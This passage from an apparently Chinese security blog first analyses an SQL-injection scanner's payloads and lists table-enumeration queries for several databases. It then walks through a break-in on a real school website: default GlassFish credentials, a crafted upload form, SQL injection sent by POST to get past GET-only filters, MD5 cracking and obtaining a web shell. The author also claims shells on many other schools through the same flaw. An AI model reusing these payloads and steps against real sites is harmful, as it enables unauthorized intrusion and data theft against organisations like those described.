SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)--
複製代碼

enter image description here

/*[h4ckinger]asim[/h4ckinger] 這段SQL看不出來有什麼實際意義,沒有對數據庫進行任何操做。對應的SQL是:

select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/
複製代碼

沒用的東西無論下一條也是點擊start後的最後一條SQL同上。 那麼咱們能夠知道點擊注入點檢測程序一共作了:

一、是否存在注入點
二、注入點的字段數量
三、注入點獲取Mysql的版本信息、用戶信息、數據庫名等。
四、是否有file_priv也就是是否可以讀寫硬盤文件。
複製代碼

程序邏輯分析:

一、獲取URL是否存在
二、獲取URL地址並進行參數分析
三、提交and 1=1 and 1=2進行布爾判斷,獲取服務器的響應碼判斷是否存在SQL注入。
四、提交佔位符獲取注入點查詢的字段數嘗試order by 注入。
五、提交MYSQL自帶的函數獲取MYSQL版本信息、用戶信息、數據庫名等信息。
六、檢測是否有load_file和outfile、dumpfile等權限。
複製代碼

SQL注入之獲取全部用戶表:

一、Mssql:select name from master.dbo.sysdatabase
二、Mysql:show databases
三、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid
四、Oracle:SELECT * FROM ALL_TABLES
複製代碼


0x03 簡單實戰


本次實戰並無什麼難度,感受找一個能把前面的都串起來的demo太難了。本次實戰的目標是某中學,網站使用JavaWeb開發。去年的時候經過POST注入繞過了GET的防注入檢測。對其和開發商的官網都作了SQL注入檢測,而後加了開發商的QQ通知修補。

enter image description here

前不久再去測試的時候發現漏洞已經被修補了,圍觀了下開發商後發現其用的是glassfish:

enter image description here

enter image description here

嘗試從服務器弱口令入口了入手可是失敗了glassfish的默認管理賬號是admin密碼是adminadmin,若是能過登陸glassfish的後臺能夠直接部署一個war去getshell。  enter image description here

因爲沒有使用如Struts2之類的MVC框架因此google了下他的jsp,-News參數表示不但願在搜索結果中包含帶有-News的結果。  enter image description here

經過GOOGLE找到一處flash上傳點,值得注意的是在項目當中上傳下載通常做爲一個共有的業務,因此可能存在一致性也就是此處要是上傳不成功恐怕到了後臺也不會成功。企圖上傳shell:

enter image description here

上傳文件:

由於tamper data 無法攔截flash請求,因此經過chrome的攔截記錄開始構建上傳:

<html><head>
<title></title></head>
<body>
<form enctype="multipart/form-data" action="http://www.x.cn/webschool/xheditor/upload.jsp?moduleId=98&limitExt=all&sid=0" method="post">
<input name="filedata" type="file"><br>
<input type="submit" value="上傳文件">
</form>
</body>
</html>
複製代碼

enter image description here

好吧支持txt.html.exe什麼的先來個txt:  enter image description here

通常來講我比較關注邏輯漏洞,好比找回密碼,查看頁面源碼後還真就發現了點貓膩有DWR框架。

DWR框架:

DWR就是一個奇葩,人家都是想着怎麼樣去解耦,他倒好直接把js和後端java給耦合在一塊兒了。DWR(Direct Web Remoting)是一個用於改善web頁面與Java類交互的遠程服務器端Ajax開源框架,能夠幫助開發人員開發包含AJAX技術的網站。它能夠容許在瀏覽器裏的代碼使用運行在WEB服務器上的JAVA方法,就像它就在瀏覽器裏同樣。

enter image description here

再次利用chrome抓網絡請求,竟然發現後臺把用戶的密碼都給返回了,這不科學啊:  enter image description here

與此同時我把google到的動態鏈接都打開,比較輕易的就發現了一處SQL注入漏洞,依舊用POST提交吧,以避免他的防注入又把我攔截下來了(再次提醒普通的防注入廣泛防的是GET請求,POST過去不少防注入都傻逼了,Jsp裏面request.getParameter("parameter")GET和POST方式提交的參數都能過獲取到的):  enter image description here

破MD5,進後臺改上傳文件擴展名限制拿shell都一鼓作氣了:

enter image description here

GETSHELL:  enter image description here

可能實戰寫的有點簡單了一點,湊合這看吧。因爲這是一套通用系統,很輕易的經過該系統漏洞拿到不少學校的shell,截圖中可能有漏點,但願看文章的請勿對其進行攻擊!

相關文章
相關標籤/搜索